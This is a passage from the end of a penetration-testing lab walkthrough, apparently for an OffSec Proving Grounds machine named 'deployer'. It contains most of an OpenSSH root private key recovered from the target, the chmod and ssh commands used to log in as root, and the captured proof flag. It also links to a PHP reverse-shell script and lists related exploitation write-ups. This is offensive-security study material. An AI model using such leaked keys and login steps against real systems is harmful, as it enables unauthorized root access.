f8ZDRZYrVHBsF+vX+5N6yE4EII7ramcnppque5ImGc/iU7HPQMiYftlWKx+8O754/Ef3u6
PLk/XPiYzKso30Ub8HWjnZIiRdit0K23vOGSVpT+u2CwxnLeAy1XO2DokDWgAz6O4qEnYD
LWEjIKeAIhhLC2Z8hNcM2dko7s+LxSAn3D1jxo1eDvdzBFE3F9UQH+CLiQJh9e+tto+AUb
XNrmfYEc+JLi0aY/P2CJGWH0bi8eS7VkzaZ9hAs5GFPpGqHvcFfmyi9jh0rj0ESbrcAEvz
S5JC/H/hS8ode2tC/u3/fFE1TFkW5QAAAAMBAAEAAAGAOqanNxCFPK+Lj6ZvL02dXBwEkY
UhhOU7cChbDenjJ22q2uzrRXh2N1C0QV6UJ/42GlsOmEFV1+tcrfxoVArvnPLr7y4NpoA+
9ADNi3OSKVS1eiemiB16JyL/XjeALdh+nBl+NOAjF8Bm0NH5i9373NzuyFiT/Me5TDow/Y
6ZZYY05sGTU+0740UY44In88uQiZePMr3W/Wio5KvgpuvFq4boVCfoG7WkeKBl2nOMTR+2
FrDXY9snfjpbWfW9DiKmJjvDf150U/6naB15ik7e1/+JJRoOuFTZm2oQXmdslTpSLYTjVa
FW9sAMHeIXMB+nBS2PqOLe+gcZKwskYsFBELadwFIfy6085iQHIQpw9TwrgWiak372umxE
7p7HZQWWHGknLrQ/bxTpzc/HkHY4CkkLG0Y5GzYKjTsdYsnU9exq3fkU4MYeIdKhqKYyVx
AQb1VpwNmdG9arUyRRrWvpz87QqJdTFLbNDoZZ4OUZCq+E4N7bLA3c7GHCK9I0xEtBAAAA
wQChBYNEt70qCO3fHA6mHidrpkCHxXRPp/JBGgSoiFUaqDchlQjBLhzw++IZ0roi49RS0y
NeP4Fu6YRcnMgnB/tw+EnsKivac0bfZbvJrGtw/H1QjZuMyQs92yB263aHTPL8JBajAuTF
MepQIdlNS/p0orvIA1HzhPVGhssh7v1AO9JVerxowMnNGwSzL1vfPrYwvz1VoWa+3YANbB
iiz+W6qO5Z8EG2Du2BhKr4jWdBYAkhKwuuS8k1eY/GVIzQOiwAAADBAOwb2ejVxNYbQR16
1d3G7Odb/dQsspK0Sc6IP0oFu39seagyrV3Sk/QUiRDQ/TzvLY96FzFyDq/ImxrJstApMn
H19V5U/VNKYkEay53QkXxgEuJDotqjTuEH7FNr8qFMS7OnlSB56JHIGEOyCIBhYuj2iaJp
XudHJs5GPHaVAseOPhSY2K2/GhaHeYjz/4MxFe//JwzR4DyHcxdCehDXs5c+QL/gmc2kU6
qW/tRwiZRCT8xeFLVGLKr70RoBmAvQ8QAAAMEAyhY10QytLFRN7nu8J4HgVUobu45/diKM
1U2Q+1K2UT1kR0PXvSAYUHaxDuERgcaWlKo76dOWBrYB8FKFfUFdUPsgdrKUN9uFrfCdd2
UCKtUWJFCPeLS+xdi63Fqv9pVt4tGIydbwyE+HX8Gjj1/EEKUorUTGE33614D+RoFABKtO
2BP5ohYrA1ZM29YZPT/QG8xN0L15M6jR9eMCJvfL3/qgfXmKtgRSwPjjjESzsiDCNvn0T5
CW/12b4MNn9CU1AAAADXJvb3RAZGVwbG95ZXIBAgMEBQ==
-----END OPENSSH PRIVATE KEY-----

## set correct permissions on SSH private key
chmod 600 root.key

## log into target with SSH private key as `root`
ssh -i root.key root@$ip                                       
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-73-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Thu 18 Sep 2025 08:18:35 PM UTC

  System load:  0.0               Processes:                239
  Usage of /:   64.2% of 9.78GB   Users logged in:          1
  Memory usage: 42%               IPv4 address for docker0: 172.17.0.1
  Swap usage:   3%                IPv4 address for ens160:  192.168.206.158


129 updates can be applied immediately.
2 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


*** System restart required ***

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

root@deployer:~#

## print `proof.txt`
root@deployer:~# cat proof.txt
45840c57780835217af2d70c7a3bbe50

References
#

[+] https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/refs/heads/master/php-reverse-shell.php
[+] https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh

Related

OFFSEC - Proving Grounds - WORKAHOLIC
·2806 words·14 mins
OSCP OFFSEC PG PRACTICE WPPROBE SQLMAP HASHCAT FTP STRACE GCC
Use OFFSEC creds or scan Wordpress. Exploit a Wordpress vulnerability (CVE-2024-9796), crack hashes for charlie/ted. FTP as ted and SSH in as charlie. Escalate to root via SUID binary with custom shared object.
OFFSEC - Proving Grounds - CONVERTEX
·2078 words·10 mins
OFFSEC PG PRACTICE XXE SELENIUM CHISEL
XXE in web application on port 5000 and leaks gustavo SSH private key for initial access. Forward selenium port 4444 with chisel, exploit with Python script to gain root.
OFFSEC - Proving Grounds - MZEEAV
·1935 words·10 mins
OFFSEC PG PRACTICE BURP
Web application on port 80 has a ZIP backup with source code. Upload PHP webshell via MZ magic byte check, gain initial access and escalate to root using renamed find binary in /opt/fileS.
OFFSEC - Proving Grounds - PAYDAY
·2438 words·12 mins
OFFSEC PG PRACTICE CS-CART
INTERNETSHOP on port 80 uses CS-CART. Weak credentials allow login and RCE via template editor with PHP webshell. Gain patrick user access via weak credentials and escalate to root using sudo bash.
OFFSEC - Proving Grounds - PEPPO
·1634 words·8 mins
OFFSEC PG PRACTICE IDENT-USER-ENUM RBASH ED PWNKIT
Ident on port 113 reveals process owner eleanor on port 10000. SSH access via weak credentials to get initial access in rbash, escape rbash using ed, set PATH and exploit pwnkit (CVE-2021-4034) to gain root.
OFFSEC - Proving Grounds - ZENPHOTO
·2772 words·14 mins
OFFSEC PG PRACTICE ZENPHOTO RDS
Website on port 80 runs ZENPHOTO 1.4.1.4, vulnerable to RCE exploit, granting www-data access. RDS Protocol LPE (CVE-2010-3904) escalates to root.